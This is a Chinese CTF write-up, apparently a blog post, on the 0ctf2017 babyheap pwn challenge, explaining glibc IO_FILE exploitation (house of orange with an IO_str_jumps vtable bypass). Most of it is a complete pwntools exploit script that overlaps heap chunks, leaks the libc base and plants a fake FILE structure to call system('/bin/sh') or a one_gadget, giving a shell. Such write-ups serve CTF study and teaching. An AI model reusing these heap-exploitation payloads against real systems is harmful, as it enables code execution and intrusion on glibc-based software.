【pwn】0ctf2017_babyheap IO_FILE解法

libc2.24以后加入了对 vtable 的检查,这里采用 IO_str_jumps,fake_files 如下:
第一种利用io_finish:

fake_file += p64(0) + p64(0x61)
fake_file += p64(0) + p64(io_list_all - 0x10)
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(bin_sh)
fake_file = fake_file.ljust(0xd8 + 0x20, "\x00")
fake_file += p64(io_str_jumps - 8) + p64(0) + p64(system)

其中 0x61 和 io_list_all 是 ub attack + house of orange
vtable 放入/bin/sh的地址
放入 io_str_jumps - 8 
vtable+0x10 放入 system

第二种使用 IO_str_overflow:
其中_IO_str_overflow函数会调用文件对象fd+0xe0处的地址。
在house of orange的基础上进行更新,将虚表地址设置为IO_str_jumps地址,fd+0xe0设置为one_gadget即可完成利用。

file_struct=p64(0)+p64(0x61)+p64(libc)+p64(io_list_all_addr - 0x10)+p64(2)+p64(3)
file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(jump_table_addr)
file_struct += p64(og)

完整exp:

from pwn import *
import sys

binary = "./pwn"
context.log_level = "debug"
context.binary = binary
context.arch = "amd64"
elf = ELF(binary)

local = 1

if local:
    p = process(binary)
    libc = elf.libc
    # p = process(binary, env={'LD_PRELOAD':'./libc-2.31.so'})
    # libc = ELF("./libc-2.31.so")
    # libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:   
    host = "node3.buuoj.cn"
    port = 28488
    p = remote(host, port)
    libc = ELF("/home/mtb0tx/share/ctf-pwn/libc/libc-2.29-buu.so")

DEBUG = 0
if DEBUG:
    gdb.attach(p, 
    ''' 
    b *0x08048935
    c
    ''')

def dbg():
    gdb.attach(p)
    pause()

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
rc      = lambda num              	:p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
l64     = lambda              		:u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32     = lambda              		:u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
r64     = lambda					:u64(p.recv(6).ljust(8, "\x00"))
li      = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia      = lambda                    :p.interactive()

menu = "Command: "

def cmd(ch):
  	p.recvuntil(menu)
	p.sendline(str(ch))

def add(size):
    cmd(1)
    ru("Size: ")
    sl(str(size))

def edit(idx, con):
    cmd(2)
    ru("Index: ")
    sl(str(idx))
    ru("Size: ")
    sl(str(len(con)))
    ru("Content: ")
    se(con)

def dele(idx):
    cmd(3)
    ru("Index: ")
    sl(str(idx))

def show(idx):
    cmd(4)
    ru("Index: ")
    sl(str(idx))

add(0x18) #0
add(0x20) #1
add(0x100) #2
add(0x20) #3

pl = "\x00"*0x18 + p64(0x141)
edit(0, pl)

dele(1)
add(0x130) #1
# recover
pl = "\x00"*0x28 + p64(0x111)
edit(1, pl)

# overlap
dele(2)
show(1)
libc.address = l64() - libc.sym['__malloc_hook'] - 0x68
li("libc_base", libc.address)

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''

io_str_jumps = libc.address + 0x3c37a0
io_list_all  = libc.sym['_IO_list_all'] #0x3c5520
system = libc.sym['system']
bin_sh = libc.search("/bin/sh\x00").next()

fake_file = p64(0) * 4
fake_file += p64(0) + p64(0x61)
fake_file += p64(0) + p64(io_list_all - 0x10)
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(bin_sh)
fake_file = fake_file.ljust(0xd8 + 0x20, "\x00")
fake_file += p64(io_str_jumps - 8) + p64(0) + p64(system)

edit(1, fake_file)

add(0x10)
# dbg()
ia()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值